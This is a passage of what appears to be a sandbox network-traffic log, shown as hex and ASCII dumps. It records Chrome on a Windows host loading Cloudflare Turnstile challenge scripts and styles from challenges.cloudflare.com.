.cb-lb-t{margin-left:0;margin-right:8px;padding:0}.rtl #expired-i,.rtl #fail-i,.rtl #overrun-i,.rtl #spinner-i,.rtl #success-i,.rtl #timeout-i{left:255px}.rtl #fr-helper{margin-left:.25em;margin-right:0}.rtl #brandin
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 32 30 30 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 Data Ascii: n:absolute;top:0;width:200px}#challenge-error-title a{color:#232323}#challenge-error-title a:active,#challenge-error-title a:focus,#challenge-error-title a:hover{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49716	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:48 UTC	383	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:48 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d0f56a70a8c4361-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:48 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 6b 72 2c 28 66 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(kr,(f=(n=e.displayLanguage)===null\|\|n===void 0?void 0:n.toLowerCase())!==nul
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return h&&J(s,h.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 56 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(V(
2024-10-11 13:53:48 UTC	1369	IN	Data Raw: 58 3d 22 68 69 64 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 Data Ascii: X="hidden",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49719	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:49 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d0f56a70cadc3ff&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:49 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116105 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d0f56ab2895191e-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 54 74 59 6a 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.TtYj0={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 Data Ascii: t_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20pag
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 61 72 73 65 49 6e 74 28 67 48 28 31 34 33 37 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 48 28 32 39 34 29 29 2f 38 2b 70 61 72 73 65 49 6e 74 28 67 48 28 39 36 37 29 29 2f 39 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 31 30 39 39 29 29 2f 31 30 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 33 32 36 30 33 38 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 34 31 32 29 5d 2c 65 4f 3d 7b 7d 2c 65 4f 5b 67 49 28 32 33 36 29 5d 3d 27 6f 27 2c 65 4f 5b 67 49 28 36 32 30 29 5d 3d 27 73 27 2c 65 4f 5b 67 49 28 39 32 38 29 5d 3d 27 75 27 2c 65 4f 5b 67 49 28 31 30 38 39 29 5d 3d 27 Data Ascii: arseInt(gH(1437))/7+parseInt(gH(294))/8+parseInt(gH(967))/9*(parseInt(gH(1099))/10),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,326038),eM=this\|\|self,eN=eM[gI(412)],eO={},eO[gI(236)]='o',eO[gI(620)]='s',eO[gI(928)]='u',eO[gI(1089)]='
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 2c 6a 5b 48 5d 5b 67 4e 28 31 33 34 30 29 5d 28 47 29 29 3a 28 48 5b 67 4e 28 34 38 36 29 5d 5b 67 4e 28 32 30 30 29 5d 28 29 2c 47 5b 67 4e 28 34 38 36 29 5d 5b 67 4e 28 39 36 31 29 5d 28 29 2c 69 5b 67 4e 28 34 38 36 29 5d 5b 67 4e 28 35 36 36 29 5d 28 29 2c 6a 5b 67 4e 28 31 30 36 32 29 5d 3d 21 21 5b 5d 29 7d 7d 2c 65 54 3d 67 49 28 31 30 39 33 29 5b 67 49 28 36 30 36 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 49 28 31 33 35 34 29 5d 5b 67 49 28 31 37 37 29 5d 28 65 54 29 2c 65 4d 5b 67 49 28 37 36 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 67 50 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 67 50 3d 67 49 2c 69 3d 7b 27 46 79 68 5a 44 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 27 5a 58 4d 70 65 27 Data Ascii: ,j[H][gN(1340)](G)):(H[gN(486)][gN(200)](),G[gN(486)][gN(961)](),i[gN(486)][gN(566)](),j[gN(1062)]=!![])}},eT=gI(1093)[gI(606)](';'),eU=eT[gI(1354)][gI(177)](eT),eM[gI(765)]=function(g,h,gP,i,j,k,l,m){for(gP=gI,i={'FyhZD':function(n,o){return n+o},'ZXMpe'
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 6d 28 34 32 31 29 5d 5b 68 6d 28 33 32 32 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 49 28 31 31 31 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 6e 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 29 7b 6b 3d 28 68 6e 3d 67 49 2c 6a 3d 7b 7d 2c 6a 5b 68 6e 28 35 30 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 46 2c 47 29 7b 72 65 74 75 72 6e 20 46 7c 7c 47 7d 2c 6a 5b 68 6e 28 38 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 46 2c 47 29 7b 72 65 74 75 72 6e 20 46 2b 47 7d 2c 6a 5b 68 6e 28 31 30 34 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 46 2c 47 29 7b 72 65 74 75 72 6e 20 46 2b 47 7d 2c 6a 5b 68 6e 28 37 39 37 29 5d 3d 68 6e 28 33 30 35 29 2c 6a 5b 68 6e 28 31 30 39 36 29 5d 3d 68 6e 28 35 37 38 29 2c 6a 5b 68 6e Data Ascii: m(421)][hm(322)]},'*'))},g)},eM[gI(1119)]=function(g,h,i,hn,j,k,l,m,n,o,s,x,B,C,D,E){k=(hn=gI,j={},j[hn(508)]=function(F,G){return F\|\|G},j[hn(847)]=function(F,G){return F+G},j[hn(1040)]=function(F,G){return F+G},j[hn(797)]=hn(305),j[hn(1096)]=hn(578),j[hn
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 5b 68 70 28 39 31 32 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6f 3d 5b 68 6f 28 39 37 36 29 2b 65 2c 68 6f 28 31 32 33 33 29 2b 66 2c 68 6f 28 35 34 31 29 2b 67 2c 6b 5b 68 6f 28 31 31 39 39 29 5d 2b 68 2c 6b 5b 68 6f 28 39 36 30 29 5d 28 68 6f 28 31 30 36 37 29 2c 4a 53 4f 4e 5b 68 6f 28 31 33 30 29 5d 28 69 29 29 5d 5b 68 6f 28 35 31 31 29 5d 28 6b 5b 68 6f 28 39 32 37 29 5d 29 2c 65 4d 5b 68 6f 28 37 33 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 71 29 7b 68 71 3d 68 6f 2c 65 4d 5b 68 71 28 31 31 31 39 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 76 5b 68 71 28 36 33 32 29 5d 29 7d 2c 31 30 29 2c 65 4d 5b 68 6f 28 37 33 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 72 29 7b 68 72 3d 68 6f 2c 65 4d 5b 68 72 28 39 31 32 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 68 Data Ascii: [hp(912)]()},1e3):(o=[ho(976)+e,ho(1233)+f,ho(541)+g,k[ho(1199)]+h,k[ho(960)](ho(1067),JSON[ho(130)](i))][ho(511)](k[ho(927)]),eM[ho(739)](function(hq){hq=ho,eM[hq(1119)](o,undefined,v[hq(632)])},10),eM[ho(739)](function(hr){hr=ho,eM[hr(912)]()},1e3),eM[h
